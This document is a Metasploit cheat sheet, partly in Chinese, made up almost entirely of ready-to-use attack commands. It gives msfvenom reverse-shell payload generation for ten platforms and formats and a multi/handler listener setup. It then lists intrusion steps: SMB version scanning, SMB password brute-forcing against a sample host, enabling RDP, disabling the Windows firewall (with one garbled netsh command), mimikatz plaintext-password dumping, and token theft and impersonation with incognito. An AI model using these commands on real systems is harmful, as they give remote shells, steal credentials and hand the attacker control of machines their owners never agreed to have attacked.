msfvenom Payload List

Linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP

1
2
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Python

1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Handlers

1
2
3
4
5
6
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

扫描端口

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
show options
set LHOST <LHOST value>
set LPORTS <LPORT value>
exploit

Windows Smb模块

扫描smb判断主机

1
2
3
use auxiliary/scanner/smb/smb_version
show options
exploit

爆破smb密码

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set PASS_FILE /tmp/pass
set RHOSTS 192.168.1.116
exploit

开启3389远程桌面

1
meterpreter > run post/windows/manage/enable_rdp

关闭防火墙

1
2
shell
netsh adcfirewall set allprofiles state off

实时截图

1
2
screenshot
use espia

meterpreter加载mimikatz抓取明文密码

1
2
3
meterpreter>load mimikatz
msv
kerberos

窃取及伪造域账户 token

1
2
3
4
load incognito
list_tokens -u
impersonate_token xxxxx\\xxxxxxx
execute -f cmd.exe -i -t